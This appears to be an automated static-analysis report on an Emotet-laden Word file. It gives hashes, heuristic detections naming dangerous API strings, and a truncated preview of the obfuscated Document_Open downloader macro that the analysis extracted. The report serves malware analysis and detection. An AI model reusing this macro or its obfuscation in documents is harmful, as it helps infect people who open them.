Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 b2c5a85652c29cb2…

MALICIOUS

Office (OLE)

175.3 KB Created: 2019-12-13 00:10:00 Authoring application: Microsoft Office Word First seen: 2020-09-24
MD5: 7a6f298728db66a4c2b2b293ba20fd7c SHA-1: 223960cef3678dcf033552d26905774ae41eec18 SHA-256: b2c5a85652c29cb2aa4fb24e0428e09d1ca770c5a63016d30a80f3a6c1632916
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open auto-execution macro, which is a common technique for Emotet. The macro uses obfuscation, such as reassembling API names like 'winmgmts' from split string literals, to evade detection. The ClamAV detection explicitly names Emotet, further supporting this classification. The primary function of the macro appears to be downloading and executing a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7450514-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7450514-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8769 bytes
SHA-256: c9888263f69b64f9f0d38bd477b79fc57875e02c785d21641c84de8906f65bb8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Czvorfqapi"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Chpxsgeo, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Select Case Qugknbpw
         Case Bozgtbtob
            ISxdk951 = AWN
            FKNpk15B = 23
            WPOtp5 = 2
         Case 926
            dLUG = Hex(UJetwZx + CDate(ywnRgL - Round(Sxuqvcyum)))
            bqmax1u = 6969
            QnqF67ZsD = CLng(kXja6)
         Case Bytkvohk
            OZb = 6532
            pPcg1diH = biJruQ0
            AOni9uk0 = Round(Dpzoxfisfnd)
End Select
   Select Case Szbfrqffnhcmx
         Case Wlsoaodx
            ISxdk951 = AWN
            FKNpk15B = 23
            WPOtp5 = 2
         Case 926
            dLUG = Hex(UJetwZx + CDate(ywnRgL - Round(Dosqixwf)))
            bqmax1u = 6969
            QnqF67ZsD = CLng(kXja6)
         Case Rsvjhfokxsexg
            OZb = 6532
            pPcg1diH = biJruQ0
            AOni9uk0 = Round(Tjqclpczfnbn)
End Select
   Select Case Wvsoncfnms
         Case Pmtlivceoie
            ISxdk951 = AWN
            FKNpk15B = 23
            WPOtp5 = 2
         Case 926
            dLUG = Hex(UJetwZx + CDate(ywnRgL - Round(Otmszeigl)))
            bqmax1u = 6969
            QnqF67ZsD = CLng(kXja6)
         Case Lrjjuzoksy
            OZb = 6532
            pPcg1diH = biJruQ0
            AOni9uk0 = Round(Eelzgfxorh)
End Select
Fyuxkivkd
End Sub

Attribute VB_Name = "Ovuxmuiivojov"
Attribute VB_Base = "0{59173654-B565-46FA-99B5-946DDD085356}{34E3E3BA-7789-41A6-AEEF-24170C637C7C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Kyhsahyp"
Function Gpcpcyfh()
   Select Case Nefuuopczqz
         Case Tjfjbgqmvm
            ISxdk951 = AWN
            FKNpk15B = 23
            WPOtp5 = 2
         Case 926
            dLUG = Hex(UJetwZx + CDate(ywnRgL - Round(Yodmuwuf)))
            bqmax1u = 6969
            QnqF67ZsD = CLng(kXja6)
         Case Ckyyioytsj
            OZb = 6532
            pPcg1diH = biJruQ0
            AOni9uk0 = Round(Hjpxnedess)
End Select
Dmqolvdm = Czvorfqapi.Chpxsgeo
   Select Case Yhaydmqbtq
         Case Gmnyplgejks
            ISxdk951 = AWN
            FKNpk15B = 23
            WPOtp5 = 2
         Case 926
            dLUG = Hex(UJetwZx + CDate(ywnRgL - Round(Bcblqkcrxm)))
            bqmax1u = 6969
            QnqF67ZsD = CLng(kXja6)
         Case Gkjzbgysriiz
            OZb = 6532
            pPcg1diH = biJruQ0
            AOni9uk0 = Round(Wkxanpzn)
End Select
Wrsjeysyj = Dmqolvdm + Ovuxmuiivojov.Sjpewgizhaiwf + Ovuxmuiivojov.Kvrhqfoy + Ovuxmuiivojov.Ewlzenlzfp
   Select Case Pyfxyjxmo
         Case Qnijhddqxuist
            ISxdk951 = AWN
            FKNpk15B = 23
            WPOtp5 = 2
         Case 926
            dLUG = Hex(UJetwZx + CDate(ywnRgL - Round(Ggyvyhbgknd)))
            bqmax1u = 6969
            QnqF67ZsD = CLng(kXja6)
         Case Nxklzwjgcxrq
            OZb = 6532
            pPcg1diH = biJruQ0
            AOni9uk0 = Round(Ekhfmcjcqnt)
End Select
Wafewxncgrd = Wrsjeysyj + Ovuxmuiivojov.Yjuluzeyxujad + Ovuxmuiivojov.Ffrttoiey.ControlTipText
   Select Case Vtvbbilbqccf
         Case Knaohsmnepy
            ISxdk951 = AWN
            FKNpk15B = 23
            WPOtp5 = 2
         Case 926
            dLUG = Hex(UJetwZx + CDate(ywnRgL - Round(Zynrrrboatmr)))
            bqmax1u = 6969
            QnqF67ZsD = CLng(kXja6)
         Case Rwcvmrrou
            OZb = 6532
            pPcg1diH = biJruQ0
            AOni9uk0 = Round(Vpehofcdpl)
End Select
Gpcpcyfh = Kxclbvlcrdcs + Wafewxncgrd + Kxclbvlcrdcs
   Select Case Cpvqynqzb
         Case Ov
... (truncated)

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